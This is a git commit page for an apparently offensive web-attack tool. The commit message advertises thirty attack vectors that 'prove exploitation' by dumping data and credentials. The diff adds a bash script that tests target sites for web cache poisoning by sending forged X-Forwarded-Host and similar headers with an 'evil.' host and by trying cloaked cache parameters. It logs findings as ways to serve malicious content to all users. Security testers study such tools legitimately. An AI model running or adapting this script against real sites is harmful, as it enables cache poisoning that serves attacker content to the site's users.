The Analyzer v2.0 — 30 attack vectors, 9 new exploiters
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
This commit is contained in:
111
vectors/29-cache-poisoning.sh
Normal file
111
vectors/29-cache-poisoning.sh
Normal file
@@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 29: Web Cache Poisoning — Persistent cache-based attacks
|
||||
# Desc: Tests for cache poisoning via unkeyed headers & params
|
||||
# Severity: HIGH
|
||||
# Proof: Confirms by serving poisoned content to subsequent requests
|
||||
|
||||
vector_cache_poisoning() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Web Cache Poisoning..."
|
||||
|
||||
local base=$(get_base "$target")
|
||||
|
||||
# Unkeyed headers to test for cache poisoning
|
||||
local unkeyed_headers=(
|
||||
"X-Forwarded-Host"
|
||||
"X-Forwarded-Scheme"
|
||||
"X-Forwarded-Port"
|
||||
"X-Original-URL"
|
||||
"X-Original-Host"
|
||||
"X-Rewrite-URL"
|
||||
"X-Real-IP"
|
||||
"Forwarded"
|
||||
"X-HTTP-Method-Override"
|
||||
"X-Originating-URL"
|
||||
)
|
||||
|
||||
# Cache proxy headers to look for
|
||||
local cache_headers=(
|
||||
"X-Cache"
|
||||
"X-Cache-Lookup"
|
||||
"CF-Cache-Status"
|
||||
"Age"
|
||||
"X-Served-By"
|
||||
"X-Cached"
|
||||
"X-Proxy-Cache"
|
||||
"X-Varnish"
|
||||
"X-Cache-Debug"
|
||||
"Cache-Control"
|
||||
)
|
||||
|
||||
# First, check if caching is in use
|
||||
local baseline=$(curl -sI --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
|
||||
local cache_detected=0
|
||||
|
||||
for hdr in "${cache_headers[@]}"; do
|
||||
if echo "$baseline" | grep -qi "$hdr"; then
|
||||
cache_detected=1
|
||||
local val=$(echo "$baseline" | grep -i "$hdr" | tr -d '\r' | head -1)
|
||||
print_sub "Cache detected: $val"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$cache_detected" -eq 1 ]; then
|
||||
# Test unkeyed headers for X-Forwarded-Host
|
||||
for header in "${unkeyed_headers[@]}"; do
|
||||
local evil_host="evil.${domain}"
|
||||
local test_response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-H "${header}: ${evil_host}" \
|
||||
"$target" 2>/dev/null)
|
||||
|
||||
# Check if the response includes our injected host
|
||||
if echo "$test_response" | grep -qi "$evil_host" || \
|
||||
echo "$test_response" | grep -qi "evil\.${domain}"; then
|
||||
print_find "Cache Poisoning via ${header}!" "Injected $evil_host into response"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Web Cache Poisoning
|
||||
DETAIL: Unkeyed header ${header} reflected in response
|
||||
URL: $target
|
||||
HEADER: ${header}: ${evil_host}
|
||||
EXPLOIT: Poison CDN cache to serve malicious content to all users" > "$REPORTS_DIR/.finding_cache_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Test cache key via parameter cloaking
|
||||
local cloaked_params=(
|
||||
"?test=1&test=2"
|
||||
"?test=1%26test=2"
|
||||
"?test=1&utm_source=cachebuster"
|
||||
"?test=1&dontcache=1"
|
||||
)
|
||||
|
||||
for param in "${cloaked_params[@]}"; do
|
||||
local url="${target}${param}"
|
||||
local resp1=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
sleep 1
|
||||
local resp2=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
|
||||
# Same size with different params = possible cache poisoning vector
|
||||
if [ "$resp1" = "$resp2" ] && [ -n "$resp1" ] && [ "$resp1" -gt 0 ]; then
|
||||
local cached_headers=$(curl -sI --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
if echo "$cached_headers" | grep -qi "hit\|HIT\|fresh"; then
|
||||
print_find "Cacheable Parameter!" "Response cached with: $param"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No cache poisoning opportunities found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
Reference in New Issue
Block a user